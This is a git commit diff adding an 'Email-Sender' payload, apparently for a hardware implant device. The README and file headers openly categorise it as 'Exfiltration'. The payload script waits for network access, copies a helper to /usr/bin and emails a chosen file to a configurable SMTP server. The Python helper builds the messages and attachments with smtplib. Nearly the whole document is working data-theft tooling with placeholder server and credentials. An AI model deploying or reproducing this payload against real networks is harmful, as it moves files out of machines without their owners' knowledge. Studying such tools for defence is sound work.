commit
aa82860dd4
|
@ -0,0 +1,35 @@
|
||||||
|
| | |
|
||||||
|
|:----------------|:---------------------------------------------------------------------------------------------------|
|
||||||
|
| **Title** | Email-Sender |
|
||||||
|
| **Description** | Sends emails / has html and file support / it can be used with bash and python . |
|
||||||
|
**Author** | TheDragonkeeper |
|
||||||
|
| **Version** | 1.1 |
|
||||||
|
| **Category** | Exfiltration |
|
||||||
|
| **Target** | Any |
|
||||||
|
|
||||||
|
| Meaning | Color | Description |
|
||||||
|
|:----------|:-----------------:|:----------------------------|
|
||||||
|
| SUCCESS: | Blink Green | Payload ended complete |
|
||||||
|
| SETUP: | Blink Yellow | Payload is waiting on network |
|
||||||
|
|
||||||
|
| Command | Arguments |
|
||||||
|
:----------|:-----------------|
|
||||||
|
| SENDMAIL | $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE" |
|
||||||
|
|
||||||
|
|
||||||
|
Running the payload will install the command to /usr/bin
|
||||||
|
this will allow you to use the command SENDMAIL to send an email using your bash payload
|
||||||
|
the default arguments are as follows.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| $1 | $2 | $3 | $4 | $5 | $6 | $7 | $8
|
||||||
|
|:----------|:----------|:-----------------|:----------|:----------|:-----------------|:----------|:-----------------:|
|
||||||
|
| $FROM |$RCPT |"$SUBJECT"| "$BODY"| $SERVER | $USER | $PASS |"$FILE" |
|
||||||
|
|
||||||
|
|
||||||
|
if you wish to hard code one of these values you can simply edit the SENDMAIL file and then drop the numbers down a value;
|
||||||
|
i.e if you change $1 to 'thisismyemail@somedomain.net' then $2 now needs to be $1
|
||||||
|
|
||||||
|
The other option is to edit the python file 'sendemail.py' and change the corresponding sys.argv[1] in the same way.
|
||||||
|
but then you need to make sure you also edit the SENDMAIL to only send the amount of arguments needed.
|
|
@ -0,0 +1,7 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
[[ -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7"
|
||||||
|
[[ ! -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8"
|
||||||
|
|
||||||
|
### $1 $2 $3 $4 $5 $6 $7 $8
|
||||||
|
### $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
|
|
@ -0,0 +1,28 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
function run() {
|
||||||
|
LED STAGE1
|
||||||
|
SWITCH_POS=$(SWITCH)
|
||||||
|
until ping -c 1 8.8.8.8 >/dev/null ; do : ; done
|
||||||
|
SUBJECT='Im Just Nutty'
|
||||||
|
BODY='And your network is nutty too.'
|
||||||
|
RCPT="recieving email"
|
||||||
|
FROM="your email"
|
||||||
|
SERVER="server.com"
|
||||||
|
USER="username"
|
||||||
|
PASS="password"
|
||||||
|
FILE="/some/File/Path/1.txt"
|
||||||
|
SENDMAIL $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
|
||||||
|
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
|
||||||
|
LED FINISH
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if [ ! -f /usr/bin/SENDMAIL ]; then
|
||||||
|
mv /root/payloads/$(SWITCH)/sendemail.py /usr/bin/
|
||||||
|
mv /root/payloads/$(SWITCH)/SENDMAIL /usr/bin/
|
||||||
|
chmod +rx /usr/bin/SENDMAIL
|
||||||
|
fi
|
||||||
|
|
||||||
|
NETMODE NAT
|
||||||
|
run
|
|
@ -0,0 +1,92 @@
|
||||||
|
# Title: Email-Sender
|
||||||
|
# Description: Allows sending emails to a mail server, with file support
|
||||||
|
# this is called using the Email-Sender library
|
||||||
|
# Author: TheDragonkeeper
|
||||||
|
# Version: 1.1
|
||||||
|
# Category: exfiltration
|
||||||
|
# Target: Any
|
||||||
|
import sys
|
||||||
|
import smtplib, os
|
||||||
|
from email.MIMEMultipart import MIMEMultipart
|
||||||
|
from email.MIMEBase import MIMEBase
|
||||||
|
from email.MIMEText import MIMEText
|
||||||
|
from email.MIMEImage import MIMEImage
|
||||||
|
from email.Utils import COMMASPACE, formatdate
|
||||||
|
from email import Encoders
|
||||||
|
import ConfigParser
|
||||||
|
|
||||||
|
def send_mail(send_from, send_to, subject, text, files=None,
|
||||||
|
data_attachments=None, server="None", port=587,
|
||||||
|
tls=True, html=False, images=None,
|
||||||
|
username=None, password=None,
|
||||||
|
config_file=None, config=None):
|
||||||
|
|
||||||
|
if files is None:
|
||||||
|
files = []
|
||||||
|
|
||||||
|
if images is None:
|
||||||
|
images = []
|
||||||
|
|
||||||
|
if data_attachments is None:
|
||||||
|
data_attachments = []
|
||||||
|
|
||||||
|
if config_file is not None:
|
||||||
|
config = ConfigParser.ConfigParser()
|
||||||
|
config.read(config_file)
|
||||||
|
|
||||||
|
if config is not None:
|
||||||
|
server = config.get('smtp', 'server')
|
||||||
|
port = config.get('smtp', 'port')
|
||||||
|
tls = config.get('smtp', 'tls').lower() in ('true', 'yes', 'y')
|
||||||
|
username = config.get('smtp', 'username')
|
||||||
|
password = config.get('smtp', 'password')
|
||||||
|
|
||||||
|
msg = MIMEMultipart('related')
|
||||||
|
msg['From'] = send_from
|
||||||
|
msg['To'] = send_to if isinstance(send_to, basestring) else COMMASPACE.join(send_to)
|
||||||
|
msg['Date'] = formatdate(localtime=True)
|
||||||
|
msg['Subject'] = subject
|
||||||
|
|
||||||
|
msg.attach( MIMEText(text, 'html' if html else 'plain') )
|
||||||
|
|
||||||
|
for f in files:
|
||||||
|
part = MIMEBase('application', "octet-stream")
|
||||||
|
part.set_payload( open(f,"rb").read() )
|
||||||
|
Encoders.encode_base64(part)
|
||||||
|
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
|
||||||
|
msg.attach(part)
|
||||||
|
|
||||||
|
for f in data_attachments:
|
||||||
|
part = MIMEBase('application', "octet-stream")
|
||||||
|
part.set_payload( f['data'] )
|
||||||
|
Encoders.encode_base64(part)
|
||||||
|
part.add_header('Content-Disposition', 'attachment; filename="%s"' % f['filename'])
|
||||||
|
msg.attach(part)
|
||||||
|
|
||||||
|
for (n, i) in enumerate(images):
|
||||||
|
fp = open(i, 'rb')
|
||||||
|
msgImage = MIMEImage(fp.read())
|
||||||
|
fp.close()
|
||||||
|
msgImage.add_header('Content-ID', '<image{0}>'.format(str(n+1)))
|
||||||
|
msg.attach(msgImage)
|
||||||
|
|
||||||
|
smtp = smtplib.SMTP(server, int(port))
|
||||||
|
if tls:
|
||||||
|
smtp.starttls()
|
||||||
|
|
||||||
|
if username is not None:
|
||||||
|
smtp.login(username, password)
|
||||||
|
smtp.sendmail(send_from, send_to, msg.as_string())
|
||||||
|
smtp.close()
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) > 8:
|
||||||
|
send_mail(sys.argv[1], sys.argv[2],
|
||||||
|
sys.argv[3],
|
||||||
|
sys.argv[4],
|
||||||
|
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]])
|
||||||
|
else:
|
||||||
|
send_mail(sys.argv[1], sys.argv[2],
|
||||||
|
sys.argv[3],
|
||||||
|
sys.argv[4],
|
||||||
|
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])
|
Loading…
Reference in New Issue